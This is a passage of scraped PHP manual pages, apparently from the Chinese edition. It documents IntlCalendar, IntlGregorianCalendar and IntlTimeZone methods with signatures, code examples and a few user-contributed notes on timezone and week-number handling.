One of the constants IntlCalendar::WALLTIME_FIRST or IntlCalendar::WALLTIME_LAST.

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

See the example on IntlCalendar::getRepeatedWallTimeOption().

参见

  • intlCalendar::getRepeatedWallTimeOption() - Get behavior for handling repeating wall time
  • intlCalendar::setSkippedWallTimeOption() - Set behavior for handling skipped wall times at positive timezone offset transitions
  • intlCalendar::getSkippedWallTimeOption() - Get behavior for handling skipped wall time

User Contributed Notes

There are no user contributed notes for this page.


Set behavior for handling skipped wall times at positive timezone offset transitions

  • ? IntlCalendar::setRepeatedWallTimeOption
  • IntlCalendar::setTime ?
  • PHP Manual
  • IntlCalendar
  • Set behavior for handling skipped wall times at positive timezone offset transitions

IntlCalendar::setSkippedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setSkippedWallTimeOption — Set behavior for handling skipped wall times at positive timezone offset transitions

说明

面向对象风格

public IntlCalendar::setSkippedWallTimeOption(int $option): true

过程化风格

intlcal_set_skipped_wall_time_option(IntlCalendar $calendar, int $option): true

Sets the current strategy for dealing with wall times that are skipped whenever the clock is forwarded during dailight saving time start transitions. The default value is IntlCalendar::WALLTIME_LAST (take it as being the same instant as the one when the wall time is one hour more). Alternative values are IntlCalendar::WALLTIME_FIRST (same instant as the one with a wall time of one hour less) and IntlCalendar::WALLTIME_NEXT_VALID (same instant as when DST begins).

This affects only the instant represented by the calendar (as reported by IntlCalendar::getTime()), the field values will not be rewritten accordingly.

The calendar must be lenient for this option to have any effect, otherwise attempting to set a non-existing time will cause an error.

This function requires ICU 4.9 or later.

参数

calendar

IntlCalendar 实例。

option

One of the constants IntlCalendar::WALLTIME_FIRST,
IntlCalendar::WALLTIME_LAST or
IntlCalendar::WALLTIME_NEXT_VALID.

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

See the example on IntlCalendar::getSkippedWallTimeOption().

参见

  • intlCalendar::getSkippedWallTimeOption() - Get behavior for handling skipped wall time
  • intlCalendar::setRepeatedWallTimeOption() - Set behavior for handling repeating wall times at negative timezone offset transitions
  • intlCalendar::getRepeatedWallTimeOption() - Get behavior for handling repeating wall time

User Contributed Notes

There are no user contributed notes for this page.


Set the calendar time in milliseconds since the epoch

  • ? IntlCalendar::setSkippedWallTimeOption
  • IntlCalendar::setTimeZone ?
  • PHP Manual
  • IntlCalendar
  • Set the calendar time in milliseconds since the epoch

IntlCalendar::setTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setTime — Set the calendar time in milliseconds since the epoch

说明

面向对象风格

public IntlCalendar::setTime(float $timestamp): bool

过程化风格

intlcal_set_time(IntlCalendar $calendar, float $timestamp): bool

Sets the instant represented by this object. The instant is represented by a float whose value should be an integer number of milliseconds since the epoch (1 Jan 1970 00:00:00.000 UTC), ignoring leap seconds. All the field values will be recalculated accordingly.

参数

calendar

IntlCalendar 实例。

timestamp

An instant represented by the number of number of milliseconds between such instant and the epoch, ignoring leap seconds.

返回值

Returns true on success and false on failure.

示例

Example #1 IntlCalendar::setTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'fr_FR');

$cal = new IntlGregorianCalendar(2013, 5 /* May */, 1, 12, 0, 0);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

/* In Europe/Lisbon, on 2013-10-27 at 0200, the clock goes back one hour and
the timezone from UTC+01 to UTC+00 */

$cal->setTime(strtotime('2013-10-27 00:30:00 UTC') * 1000.);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

$cal->setTime(strtotime('2013-10-27 01:30:00 UTC') * 1000.);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";

以上示例会输出：

samedi 1 juin 2013 12:00:00 heure avancée d'Europe de l'Ouest
dimanche 27 octobre 2013 01:30:00 heure avancée d'Europe de l'Ouest
dimanche 27 octobre 2013 01:30:00 heure normale d'Europe de l'Ouest

User Contributed Notes

There are no user contributed notes for this page.


Set the timezone used by this calendar

  • ? IntlCalendar::setTime
  • IntlCalendar::toDateTime ?
  • PHP Manual
  • IntlCalendar
  • Set the timezone used by this calendar

IntlCalendar::setTimeZone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::setTimeZone — Set the timezone used by this calendar

说明

面向对象风格

public IntlCalendar::setTimeZone(IntlTimeZone|DateTimeZone|string|null $timezone): bool

过程化风格

intlcal_set_time_zone(IntlCalendar $calendar, IntlTimeZone|DateTimeZone|string|null $timezone): bool

Defines a new timezone for this calendar. The time represented by the object is preserved to the detriment of the field values.

参数

calendar

IntlCalendar 实例。

timezone

The new timezone to be used by this calendar. It can be specified in the following ways:

  • null, in which case the default timezone will be used, as specified in the ini setting date.timezone or through the function date_default_timezone_set() and as returned by date_default_timezone_get().

  • An IntlTimeZone, which will be used directly.

  • A DateTimeZone. Its identifier will be extracted and an ICU timezone object will be created; the timezone will be backed by ICU?s database, not PHP?s.

  • A string, which should be a valid ICU timezone identifier. See IntlTimeZone::createTimeZoneIDEnumeration(). Raw offsets such as "GMT+08:30" are also accepted.

返回值

Returns true on success and false on failure.

示例

Example #1 IntlCalendar::setTimeZone()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'es_ES');

$cal = new IntlGregorianCalendar(2013, 5 /* May */, 1, 12, 0, 0);

echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

$cal->setTimeZone(IntlTimeZone::getGMT());
echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

$cal->setTimeZone('GMT+03:33');
echo IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL), "\n";
echo "(instant {$cal->getTime()})\n";

以上示例会输出：

sábado, 1 de junio de 2013 12:00:00 Hora de verano de Europa occidental
(instant 1370084400000)
sábado, 1 de junio de 2013 11:00:00 GMT
(instant 1370084400000)
sábado, 1 de junio de 2013 14:33:00 GMT+03:33
(instant 1370084400000)

User Contributed Notes

There are no user contributed notes for this page.


Convert an IntlCalendar into a DateTime object

  • ? IntlCalendar::setTimeZone
  • IntlGregorianCalendar ?
  • PHP Manual
  • IntlCalendar
  • Convert an IntlCalendar into a DateTime object

IntlCalendar::toDateTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a2)

IntlCalendar::toDateTime — Convert an IntlCalendar into a DateTime object

说明

面向对象风格

public IntlCalendar::toDateTime(): DateTime|false

过程化风格

intlcal_to_date_time(IntlCalendar $calendar): DateTime|false

Create a DateTime object that represents the same instant (up to second precision, with a rounding error of less than 1 second) and has an analog timezone to this object (the difference being DateTime?s timezone will be backed by PHP?s timezone while IntlCalendar?s timezone is backed by ICU?s).

参数

calendar

IntlCalendar 实例。

返回值

A DateTime object with the same timezone as this object (though using PHP?s database instead of ICU?s) and the same time, except for the smaller precision (second precision instead of millisecond). Returns false on failure.

示例

Example #1 IntlCalendar::toDateTime()

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'pt_PT');

$cal = IntlCalendar::createInstance('Europe/Lisbon'); //current time

$dt = $cal->toDateTime();
print_r($dt);

以上示例会输出：

DateTime Object
(
    [date] => 2013-07-02 00:29:13
    [timezone_type] => 3
    [timezone] => Europe/Lisbon
)

参见

  • IntlCalendar::fromDateTime() - Create an IntlCalendar from a DateTime object or string
  • IntlCalendar::getTime() - Get time currently represented by the object
  • IntlCalendar::createInstance() - Create a new IntlCalendar
  • DateTime::__construct() - 返回新的 DateTime 对象

User Contributed Notes

There are no user contributed notes for this page.


The IntlGregorianCalendar class

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

简介

类摘要

class IntlGregorianCalendar extends IntlCalendar {
/* 继承的常量 */
public const int IntlCalendar::FIELD_ERA;
public const int IntlCalendar::FIELD_YEAR;
public const int IntlCalendar::FIELD_MONTH;
public const int IntlCalendar::FIELD_WEEK_OF_YEAR;
public const int IntlCalendar::FIELD_WEEK_OF_MONTH;
public const int IntlCalendar::FIELD_DATE;
public const int IntlCalendar::FIELD_DAY_OF_YEAR;
public const int IntlCalendar::FIELD_DAY_OF_WEEK;
public const int IntlCalendar::FIELD_DAY_OF_WEEK_IN_MONTH;
public const int IntlCalendar::FIELD_AM_PM;
public const int IntlCalendar::FIELD_HOUR;
public const int IntlCalendar::FIELD_HOUR_OF_DAY;
public const int IntlCalendar::FIELD_MINUTE;
public const int IntlCalendar::FIELD_SECOND;
public const int IntlCalendar::FIELD_MILLISECOND;
public const int IntlCalendar::FIELD_ZONE_OFFSET;
public const int IntlCalendar::FIELD_DST_OFFSET;
public const int IntlCalendar::FIELD_YEAR_WOY;
public const int IntlCalendar::FIELD_DOW_LOCAL;
public const int IntlCalendar::FIELD_EXTENDED_YEAR;
public const int IntlCalendar::FIELD_JULIAN_DAY;
public const int IntlCalendar::FIELD_MILLISECONDS_IN_DAY;
public const int IntlCalendar::FIELD_IS_LEAP_MONTH;
public const int IntlCalendar::FIELD_FIELD_COUNT;
public const int IntlCalendar::FIELD_DAY_OF_MONTH;
public const int IntlCalendar::DOW_SUNDAY;
public const int IntlCalendar::DOW_MONDAY;
public const int IntlCalendar::DOW_TUESDAY;
public const int IntlCalendar::DOW_WEDNESDAY;
public const int IntlCalendar::DOW_THURSDAY;
public const int IntlCalendar::DOW_FRIDAY;
public const int IntlCalendar::DOW_SATURDAY;
public const int IntlCalendar::DOW_TYPE_WEEKDAY;
public const int IntlCalendar::DOW_TYPE_WEEKEND;
public const int IntlCalendar::DOW_TYPE_WEEKEND_OFFSET;
public const int IntlCalendar::DOW_TYPE_WEEKEND_CEASE;
public const int IntlCalendar::WALLTIME_FIRST;
public const int IntlCalendar::WALLTIME_LAST;
public const int IntlCalendar::WALLTIME_NEXT_VALID;
/* 方法 */
public __construct(IntlTimeZone $tz = ?, string $locale = ?)
public __construct(int $timeZoneOrYear, int $localeOrMonth, int $dayOfMonth)
public __construct(
int $timeZoneOrYear,
int $localeOrMonth,
int $dayOfMonth,
int $hour,
int $minute,
int $second = ?
)
public createFromDate(int $year, int $month, int $dayOfMonth): static
public createFromDateTime(
int $year,
int $month,
int $dayOfMonth,
int $hour,
int $minute,
int $second = null
): static
public getGregorianChange(): float
public isLeapYear(int $year): bool
public setGregorianChange(float $timestamp): bool
/* 继承的方法 */
public IntlCalendar::add(int $field, int $value): bool
public IntlCalendar::after(IntlCalendar $other): bool
public IntlCalendar::before(IntlCalendar $other): bool
public IntlCalendar::clear(?int $field = null): true
public static IntlCalendar::createInstance(IntlTimeZone|DateTimeZone|string|null $timezone = null, ?string $locale = null): ?IntlCalendar
public IntlCalendar::equals(IntlCalendar $other): bool
public IntlCalendar::fieldDifference(float $timestamp, int $field): int|false
public static IntlCalendar::fromDateTime(DateTime|string $datetime, ?string $locale = null): ?IntlCalendar
public IntlCalendar::get(int $field): int|false
public IntlCalendar::getActualMaximum(int $field): int|false
public IntlCalendar::getActualMinimum(int $field): int|false
public static IntlCalendar::getAvailableLocales(): array
public IntlCalendar::getDayOfWeekType(int $dayOfWeek): int|false
public IntlCalendar::getErrorCode(): int|false
public IntlCalendar::getErrorMessage(): string|false
public IntlCalendar::getFirstDayOfWeek(): int|false
public IntlCalendar::getGreatestMinimum(int $field): int|false
public static IntlCalendar::getKeywordValuesForLocale(string $keyword, string $locale, bool $onlyCommon): IntlIterator|false
public IntlCalendar::getLeastMaximum(int $field): int|false
public IntlCalendar::getLocale(int $type): string|false
public IntlCalendar::getMaximum(int $field): int|false
public IntlCalendar::getMinimalDaysInFirstWeek(): int|false
public IntlCalendar::getMinimum(int $field): int|false
public static IntlCalendar::getNow(): float
public IntlCalendar::getRepeatedWallTimeOption(): int
public IntlCalendar::getSkippedWallTimeOption(): int
public IntlCalendar::getTime(): float|false
public IntlCalendar::getTimeZone(): IntlTimeZone|false
public IntlCalendar::getType(): string
public IntlCalendar::getWeekendTransition(int $dayOfWeek): int|false
public IntlCalendar::inDaylightTime(): bool
public IntlCalendar::isEquivalentTo(IntlCalendar $other): bool
public IntlCalendar::isLenient(): bool
public IntlCalendar::isSet(int $field): bool
public IntlCalendar::isWeekend(?float $timestamp = null): bool
public IntlCalendar::roll(int $field, int|bool $value): bool
public IntlCalendar::set(int $field, int $value): true
public IntlCalendar::set(
int $year,
int $month,
int $dayOfMonth = NULL,
int $hour = NULL,
int $minute = NULL,
int $second = NULL
): true
public IntlCalendar::setDate(int $year, int $month, int $dayOfMonth): void
public IntlCalendar::setDateTime(
int $year,
int $month,
int $dayOfMonth,
int $hour,
int $minute,
int $second = null
): void
public IntlCalendar::setFirstDayOfWeek(int $dayOfWeek): true
public IntlCalendar::setLenient(bool $lenient): true
public IntlCalendar::setMinimalDaysInFirstWeek(int $days): true
public IntlCalendar::setRepeatedWallTimeOption(int $option): true
public IntlCalendar::setSkippedWallTimeOption(int $option): true
public IntlCalendar::setTime(float $timestamp): bool
public IntlCalendar::setTimeZone(IntlTimeZone|DateTimeZone|string|null $timezone): bool
public IntlCalendar::toDateTime(): DateTime|false
}

Table of Contents

  • IntlGregorianCalendar::__construct — Create the Gregorian Calendar class
  • IntlGregorianCalendar::createFromDate — Create a new IntlGregorianCalendar instance from date
  • IntlGregorianCalendar::createFromDateTime — Create a new IntlGregorianCalendar instance from date and time
  • IntlGregorianCalendar::getGregorianChange — Get the Gregorian Calendar change date
  • IntlGregorianCalendar::isLeapYear — Determine if the given year is a leap year
  • IntlGregorianCalendar::setGregorianChange — Set the Gregorian Calendar the change date

User Contributed Notes

Julian Sawicki 22-Oct-2020 12:29
I was using `IntlGregorianCalendar` because it offered a nice way to get the week number of the year as an integer. This differs from `DateTime`; `DateTime` gives you the week number of the year as an string.

<?php

$dateTime = new DateTime('21-09-2020 09:00:00');
echo $dateTime->format("W"); // string '39'

$intlCalendar = IntlCalendar::fromDateTime ('21-09-2020 09:00:00');
echo $intlCalendar->get(IntlCalendar::FIELD_WEEK_OF_YEAR); // integer 39


Create the Gregorian Calendar class

  • ? IntlGregorianCalendar
  • IntlGregorianCalendar::createFromDate ?
  • PHP Manual
  • IntlGregorianCalendar
  • Create the Gregorian Calendar class

IntlGregorianCalendar::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlGregorianCalendar::__construct — Create the Gregorian Calendar class

说明

public IntlGregorianCalendar::__construct(IntlTimeZone $tz = ?, string $locale = ?)
public IntlGregorianCalendar::__construct(int $timeZoneOrYear, int $localeOrMonth, int $dayOfMonth)
public IntlGregorianCalendar::__construct(
int $timeZoneOrYear,
int $localeOrMonth,
int $dayOfMonth,
int $hour,
int $minute,
int $second = ?
)

Warning

本函数还未编写文档，仅有参数列表。

参数

tz

locale

timeZoneOrYear

localeOrMonth

dayOfMonth

hour

minute

second

User Contributed Notes

There are no user contributed notes for this page.


Create a new IntlGregorianCalendar instance from date

  • ? IntlGregorianCalendar::__construct
  • IntlGregorianCalendar::createFromDateTime ?
  • PHP Manual
  • IntlGregorianCalendar
  • Create a new IntlGregorianCalendar instance from date

IntlGregorianCalendar::createFromDate

(PHP 8 >= 8.3.0)

IntlGregorianCalendar::createFromDate — Create a new IntlGregorianCalendar instance from date

说明

public IntlGregorianCalendar::createFromDate(int $year, int $month, int $dayOfMonth): static

Creates a new IntlGregorianCalendar instance from date.

参数

year

The new value for IntlGregorianCalendar::FIELD_YEAR.

month

The new value for IntlGregorianCalendar::FIELD_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, ..., December is 11 and Undecember (if the calendar has it) is 12.

dayOfMonth

The new value for IntlGregorianCalendar::FIELD_DAY_OF_MONTH.

返回值

Returns a new IntlGregorianCalendar instance.

示例

Example #1 IntlGregorianCalendar::createFromDate() example

<?php

$intlCalendar = IntlGregorianCalendar::createFromDate(2023, 11, 23);
var_dump($intlCalendar);
?>

以上示例的输出类似于：

object(IntlGregorianCalendar)#1 (5) {
  ["valid"]=>
  bool(true)
  ["type"]=>
  string(9) "gregorian"
  ["timeZone"]=>
  array(4) {
    ["valid"]=>
    bool(true)
    ["id"]=>
    string(16) "Europe/Amsterdam"
    ["rawOffset"]=>
    int(3600000)
    ["currentOffset"]=>
    int(3600000)
  }
  ["locale"]=>
  string(11) "en_US_POSIX"
  ["fields"]=>
  array(23) {
    ["era"]=>
    int(1)
    ["year"]=>
    int(2023)
    ["month"]=>
    int(11)
    ["week of year"]=>
    int(51)
    ["week of month"]=>
    int(4)
    ["day of year"]=>
    int(357)
    ["day of month"]=>
    int(23)
    ["day of week"]=>
    int(7)
    ["day of week in month"]=>
    int(4)
    ["AM/PM"]=>
    int(0)
    ["hour"]=>
    int(0)
    ["hour of day"]=>
    int(0)
    ["minute"]=>
    int(0)
    ["second"]=>
    int(0)
    ["millisecond"]=>
    int(0)
    ["zone offset"]=>
    int(3600000)
    ["DST offset"]=>
    int(0)
    ["year for week of year"]=>
    int(2023)
    ["localized day of week"]=>
    int(7)
    ["extended year"]=>
    int(2023)
    ["julian day"]=>
    int(2460302)
    ["milliseconds in day"]=>
    int(0)
    ["is leap month"]=>
    int(0)
  }
}

参见

  • IntlGregorianCalendar::createFromDateTime() - Create a new IntlGregorianCalendar instance from date and time

User Contributed Notes

There are no user contributed notes for this page.


Create a new IntlGregorianCalendar instance from date and time

  • ? IntlGregorianCalendar::createFromDate
  • IntlGregorianCalendar::getGregorianChange ?
  • PHP Manual
  • IntlGregorianCalendar
  • Create a new IntlGregorianCalendar instance from date and time

IntlGregorianCalendar::createFromDateTime

(PHP 8 >= 8.3.0)

IntlGregorianCalendar::createFromDateTime — Create a new IntlGregorianCalendar instance from date and time

说明

public IntlGregorianCalendar::createFromDateTime(
int $year,
int $month,
int $dayOfMonth,
int $hour,
int $minute,
int $second = null
): static

Creates a new IntlGregorianCalendar instance from date and time.

参数

year

The new value for IntlGregorianCalendar::FIELD_YEAR.

month

The new value for IntlGregorianCalendar::FIELD_MONTH. The month sequence is zero-based, i.e., January is represented by 0, February by 1, ..., December is 11 and Undecember (if the calendar has it) is 12.

dayOfMonth

The new value for IntlGregorianCalendar::FIELD_DAY_OF_MONTH.

hour

The new value for IntlGregorianCalendar::FIELD_HOUR_OF_DAY.

minute

The new value for IntlGregorianCalendar::FIELD_MINUTE.

second

The new value for IntlGregorianCalendar::FIELD_SECOND.

返回值

Returns a new IntlGregorianCalendar instance.

示例

Example #1 IntlCalendar::setDateTime() example

<?php

$intlCalendar = IntlGregorianCalendar::createFromDateTime(2023, 11, 23, 12, 00);
var_dump($intlCalendar);
?>

以上示例的输出类似于：

object(IntlGregorianCalendar)#1 (5) {
  ["valid"]=>
  bool(true)
  ["type"]=>
  string(9) "gregorian"
  ["timeZone"]=>
  array(4) {
    ["valid"]=>
    bool(true)
    ["id"]=>
    string(16) "Europe/Amsterdam"
    ["rawOffset"]=>
    int(3600000)
    ["currentOffset"]=>
    int(3600000)
  }
  ["locale"]=>
  string(11) "en_US_POSIX"
  ["fields"]=>
  array(23) {
    ["era"]=>
    int(1)
    ["year"]=>
    int(2023)
    ["month"]=>
    int(11)
    ["week of year"]=>
    int(51)
    ["week of month"]=>
    int(4)
    ["day of year"]=>
    int(357)
    ["day of month"]=>
    int(23)
    ["day of week"]=>
    int(7)
    ["day of week in month"]=>
    int(4)
    ["AM/PM"]=>
    int(1)
    ["hour"]=>
    int(0)
    ["hour of day"]=>
    int(12)
    ["minute"]=>
    int(0)
    ["second"]=>
    int(0)
    ["millisecond"]=>
    int(0)
    ["zone offset"]=>
    int(3600000)
    ["DST offset"]=>
    int(0)
    ["year for week of year"]=>
    int(2023)
    ["localized day of week"]=>
    int(7)
    ["extended year"]=>
    int(2023)
    ["julian day"]=>
    int(2460302)
    ["milliseconds in day"]=>
    int(43200000)
    ["is leap month"]=>
    int(0)
  }
}

参见

  • IntlGregorianCalendar::createFromDate() - Create a new IntlGregorianCalendar instance from date

User Contributed Notes

There are no user contributed notes for this page.


Get the Gregorian Calendar change date

  • ? IntlGregorianCalendar::createFromDateTime
  • IntlGregorianCalendar::isLeapYear ?
  • PHP Manual
  • IntlGregorianCalendar
  • Get the Gregorian Calendar change date

IntlGregorianCalendar::getGregorianChange

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlGregorianCalendar::getGregorianChange — Get the Gregorian Calendar change date

说明

public IntlGregorianCalendar::getGregorianChange(): float

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns the change date.

User Contributed Notes

There are no user contributed notes for this page.


Determine if the given year is a leap year

  • ? IntlGregorianCalendar::getGregorianChange
  • IntlGregorianCalendar::setGregorianChange ?
  • PHP Manual
  • IntlGregorianCalendar
  • Determine if the given year is a leap year

IntlGregorianCalendar::isLeapYear

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlGregorianCalendar::isLeapYear — Determine if the given year is a leap year

说明

public IntlGregorianCalendar::isLeapYear(int $year): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

year

返回值

Returns true for leap years, false otherwise and on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set the Gregorian Calendar the change date

  • ? IntlGregorianCalendar::isLeapYear
  • IntlTimeZone ?
  • PHP Manual
  • IntlGregorianCalendar
  • Set the Gregorian Calendar the change date

IntlGregorianCalendar::setGregorianChange

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlGregorianCalendar::setGregorianChange — Set the Gregorian Calendar the change date

说明

public IntlGregorianCalendar::setGregorianChange(float $timestamp): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

timestamp

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


The IntlTimeZone class

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

简介

类摘要

class IntlTimeZone {
/* 常量 */
public const int DISPLAY_SHORT;
public const int DISPLAY_LONG;
public const int DISPLAY_SHORT_GENERIC;
public const int DISPLAY_LONG_GENERIC;
public const int DISPLAY_SHORT_GMT;
public const int DISPLAY_LONG_GMT;
public const int DISPLAY_SHORT_COMMONLY_USED;
public const int DISPLAY_GENERIC_LOCATION;
public const int TYPE_ANY;
public const int TYPE_CANONICAL;
public const int TYPE_CANONICAL_LOCATION;
/* 方法 */
private __construct()
public static countEquivalentIDs(string $timezoneId): int|false
public static createDefault(): IntlTimeZone
public static createEnumeration(IntlTimeZone|string|int|float|null $countryOrRawOffset = null): IntlIterator|false
public static createTimeZone(string $timezoneId): ?IntlTimeZone
public static createTimeZoneIDEnumeration(int $type, ?string $region = null, ?int $rawOffset = null): IntlIterator|false
public static fromDateTimeZone(DateTimeZone $timezone): ?IntlTimeZone
public static getCanonicalID(string $timezoneId, bool &$isSystemId = null): string|false
public getDisplayName(bool $dst = false, int $style = IntlTimeZone::DISPLAY_LONG, ?string $locale = null): string|false
public getDSTSavings(): int
public static getEquivalentID(string $timezoneId, int $offset): string|false
public getErrorCode(): int|false
public getErrorMessage(): string|false
public static getGMT(): IntlTimeZone
public getID(): string|false
public static getIDForWindowsID(string $timezoneId, ?string $region = null): string|false
public getOffset(
float $timestamp,
bool $local,
int &$rawOffset,
int &$dstOffset
): bool
public getRawOffset(): int
public static getRegion(string $timezoneId): string|false
public static getTZDataVersion(): string|false
public static getUnknown(): IntlTimeZone
public static getWindowsID(string $timezoneId): string|false
public hasSameRules(IntlTimeZone $other): bool
public toDateTimeZone(): DateTimeZone|false
public useDaylightTime(): bool
}

预定义常量

IntlTimeZone::DISPLAY_SHORT

IntlTimeZone::DISPLAY_LONG

IntlTimeZone::DISPLAY_SHORT_GENERIC

IntlTimeZone::DISPLAY_LONG_GENERIC

IntlTimeZone::DISPLAY_SHORT_GMT

IntlTimeZone::DISPLAY_LONG_GMT

IntlTimeZone::DISPLAY_SHORT_COMMONLY_USED

IntlTimeZone::DISPLAY_GENERIC_LOCATION

IntlTimeZone::TYPE_ANY

IntlTimeZone::TYPE_CANONICAL

IntlTimeZone::TYPE_CANONICAL_LOCATION

Table of Contents

  • IntlTimeZone::__construct — Private constructor to disallow direct instantiation
  • IntlTimeZone::countEquivalentIDs — Get the number of IDs in the equivalency group that includes the given ID
  • IntlTimeZone::createDefault — Create a new copy of the default timezone for this host
  • IntlTimeZone::createEnumeration — Get an enumeration over time zone IDs associated with the given country or offset
  • IntlTimeZone::createTimeZone — Create a timezone object for the given ID
  • IntlTimeZone::createTimeZoneIDEnumeration — Get an enumeration over system time zone IDs with the given filter conditions
  • IntlTimeZone::fromDateTimeZone — Create a timezone object from DateTimeZone
  • IntlTimeZone::getCanonicalID — Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID
  • IntlTimeZone::getDisplayName — Get a name of this time zone suitable for presentation to the user
  • IntlTimeZone::getDSTSavings — Get the amount of time to be added to local standard time to get local wall clock time
  • IntlTimeZone::getEquivalentID — Get an ID in the equivalency group that includes the given ID
  • IntlTimeZone::getErrorCode — Get last error code on the object
  • IntlTimeZone::getErrorMessage — Get last error message on the object
  • IntlTimeZone::getGMT — Create GMT (UTC) timezone
  • IntlTimeZone::getID — Get timezone ID
  • IntlTimeZone::getIDForWindowsID — Translate a Windows timezone into a system timezone
  • IntlTimeZone::getOffset — Get the time zone raw and GMT offset for the given moment in time
  • IntlTimeZone::getRawOffset — Get the raw GMT offset (before taking daylight savings time into account
  • IntlTimeZone::getRegion — Get the region code associated with the given system time zone ID
  • IntlTimeZone::getTZDataVersion — Get the timezone data version currently used by ICU
  • IntlTimeZone::getUnknown — Get the "unknown" time zone
  • IntlTimeZone::getWindowsID — Translate a system timezone into a Windows timezone
  • IntlTimeZone::hasSameRules — Check if this zone has the same rules and offset as another zone
  • IntlTimeZone::toDateTimeZone — Convert to DateTimeZone object
  • IntlTimeZone::useDaylightTime — Check if this time zone uses daylight savings time

User Contributed Notes

Anonymous 13-Jul-2018 08:40
Currently there is no documentation available for IntlTimeZone::parse(), so it took some while to figure out a working example:

<?php
// Example for 32-bit PHP 7.0.30 with Intl version 1.1, ICU version 56.1
// To get the offset of a date including daylight saving time, getRawOffset() is
// not sufficient, getOffset() is needed. And a date is needed to take history
// in to account.

\Locale::setDefault('nl-NL');
$date = '25-03-2018 12:34:56.123456 CEST';  // 3rd of Februari
$timezone = \IntlTimeZone::createDefault();  // = CEST = GMT +02:00
print 'Time zone: ' . $timezone->getDisplayName() . PHP_EOL;
print 'DST: ' . ($timezone->useDaylightTime() ? 'DOES' : 'DOES NOT')
  . ' happen to this timezone' . PHP_EOL;
print 'Possible DST difference (usec): ' . $timezone->getDSTSavings() . PHP_EOL;

$formatter = new \IntlDateFormatter(
  \Locale::getDefault(),
  \IntlDateFormatter::MEDIUM,
  \IntlDateFormatter::MEDIUM,
  $timezone
);
$timestamp = $formatter->parse($date);
if (FALSE === $timestamp) {
  throw new \Exception('Can not parse date');
}
elseif (is_float($timestamp)) {
  throw new \Exception('Y2K38 bug @ 32 bit, please use 64 bit');
}
print 'Date parsed by IntlFormatter::parse(): ' . date('c', $timestamp)
  . PHP_EOL;

$cal = \IntlCalendar::createInstance();
$cal->setTimeZone($timezone);
$cal->setLenient(FALSE);
// set UNIX timestamp offset (1970-01-01 00:00:00.000000) and add the timestamp
$cal->set(1970, 0, 1, 0, 0, 0);
$cal->set(\IntlCalendar::FIELD_MILLISECOND, 0); // note: msec, not usec
$cal->add(\IntlCalendar::FIELD_SECOND, $timestamp); // note: no milliseconds
$cal->add(\IntlCalendar::FIELD_MILLISECOND, 124);  // hardcode for simplicity

header('Content-type: text/plain');
print 'Date constructed with IntlCalendar: ' . $formatter->format($cal)
  . PHP_EOL;
print 'Raw offset by getRawOffset(): ' . $timezone->getRawOffset() . PHP_EOL;

/**
 * Function IntlTimeZone::getOffset()
 * @link http://icu-project.org/apiref/icu4c/classicu_1_1TimeZone.html#afcbc1c48bf0b453b0123c4cb75d20e96
 * @param float $date
 *   moment in time for which to return offsets, in units of milliseconds from
 *   January 1, 1970 0:00 GMT, either GMT time or local wall time, depending on
 *   `local'.
 * @param bool $local
 *   if true, `date' is local wall time; otherwise it is in GMT time.
 * @param int &$rawOffset
 *   output parameter to receive the raw offset, that is, the offset not
 *   including DST adjustments
 * @param int &$dstOffset
 *   output parameter to receive the DST offset, that is, the offset to be added
 *   to `rawOffset' to obtain the total offset between local and GMT time. If
 *   DST is not in effect, this value is zero; otherwise it is a positive value,
 *   typically one hour.
 */

$rawOffset = NULL;
$dstOffset = NULL;
$timestamp *= 1000.0; // convert unix timestamp from secs to msecs
$timezone->getOffset($timestamp, $local = FALSE, $rawOffset, $dstOffset);
print 'Output of getOffset():' . PHP_EOL . json_encode([
  'rawOffset' => $rawOffset,
  'dstOffset' => $dstOffset
], JSON_PRETTY_PRINT) . PHP_EOL;
?>


Private constructor to disallow direct instantiation

  • ? IntlTimeZone
  • IntlTimeZone::countEquivalentIDs ?
  • PHP Manual
  • IntlTimeZone
  • Private constructor to disallow direct instantiation

IntlTimeZone::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::__construct — Private constructor to disallow direct instantiation

说明

private IntlTimeZone::__construct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Get the number of IDs in the equivalency group that includes the given ID

  • ? IntlTimeZone::__construct
  • IntlTimeZone::createDefault ?
  • PHP Manual
  • IntlTimeZone
  • Get the number of IDs in the equivalency group that includes the given ID

IntlTimeZone::countEquivalentIDs

intltz_count_equivalent_ids

